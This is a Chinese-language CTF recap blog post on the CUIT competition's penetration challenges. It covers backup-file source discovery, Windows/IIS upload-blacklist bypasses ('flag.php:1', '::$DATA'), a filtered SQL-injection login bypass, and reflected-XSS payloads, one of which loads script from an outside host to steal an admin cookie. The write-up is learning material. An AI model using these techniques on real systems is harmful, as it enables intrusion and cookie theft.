CUIT总结

上个周末的CUIT好多渗透题,,可是一题也没撸出来,但是看完writeup后,学到了好多姿势,,这里做一个总结。。

PT1:

这题的第一步都没撸出来。。。第一步是找源码。。看完writeup后才知道,源码在 ‘.DS_Store’ 中。。。

‘.DS_Store’ 是MAC(OSX系统)的默认备份文件(╮(╯▽╰)╭。。用不起MAC。。)

至今在CTF中遇到的备份文件:

  • Linux : xxx.php —> xxx.php~ || .xxx.php.swp
  • bak的后缀 —> xxx.xxx.bak
  • 有时候还可以试试压缩文件 —> xxx.rar || xxx.zip
  • 还有就是这次遇到MAC系统中的 ‘.DS_Store’ —> 保存的是该目录下的特殊信息,针对的是文件夹,而不是文件

PT2:

JAVA的题,并不会。。。。

PT3

修为不够,,并不明白

PT4

这题是文件上传漏洞,有了黑名单过滤,一直在想怎么绕过。。。可是并没撸出来。。。看了writeup后,,才知道要用 ‘:’ 截断绕过,这个比较迷,冒号我是试过的,我构造的文件名是这样的: ‘flag.php:.jpg’ 可是there is no egg use…writeup中的文件名是: ‘flag.php:1’ …迷一样的绕过。。

然后得到了另一种黑魔法: ‘flag.php::$DATA’ 据说这样也可以绕过黑名单,不过这题过滤了 ‘$’ 所以这个没用。

还有一个也许不是黑魔法,毕竟我没用过iis :

1
2
3
4
在php + iis + window 环境下:
双引号('"') <==> 点号(".");
大于号(">") <==> 问号("?");
小于号("<") <==> 星号("*");

在window环境下,上传了flag.php后,再上传flag.ph(flag.hp…之类),将会自动匹配 ‘*’ ,然后覆盖 ‘flag.php’ 文件

PT5

这题第一步是一个很简单的万能密码。。。可是我连第一步都没撸出来。。
我认为这题我最大的问题就是没把渗透题和web题结合起来,一开始我就被这题是渗透题影响,试了一个’or 1#失败后就没在尝试了,(这题把or还有注释符过滤了,所以前面的payload当然不行,需要把or换成||)潜意识就觉得渗透题不会像web题一样,会出现这么明显的注入点。。。
这里顺便说说我理解的web和渗透:web —> 日一点 ; 渗透 —> 找一点then去日;

PT6

这题一开始就提示了,这题是实战。。目前为止,我就撸过两次声称是实战的比赛,一次是ALICTF还有一次就是这次的CUIT了。。。。

来说说就我理解的实战题:

  • 扫目录,扫端口,扫旁站,爆破
  • 社工
  • web

实战其实就相当于是日站的步骤吧,一个大型的网站,不可能一眼就被你看出漏洞,这时候就需要我们去寻找这个网站的短板

这题我感觉比较坑,我做的基本和writeup中的一样,找到了一个反射型XSS,发给管理员,可是管理员却说我的链接让他的浏览器奔溃了。。。什么鬼。。。writeup中跟我用同一个payload都成功得到cookie了。。。。。。心累~~~

====================update==================

研究了下,知道问题出在哪了,,还是我js学的不行。。
my payload: ?movieName=”])}catch(e){if(!window.x){window.x=1;document.write(‘‘)}}//

writeup payload: ?movieName=”])}catch(e){if(!window.x){window.x=1;document.body.appendChild(document.createElement(‘script’)).src=’//baidu.com’}}//

`document.write()`会重写html,在有的浏览器我的payload可以(貌似只有firefox可以)

而writeup中的payload是添加一个节点,在当前页面的基础上添加。。。所以说问题就在这了。。。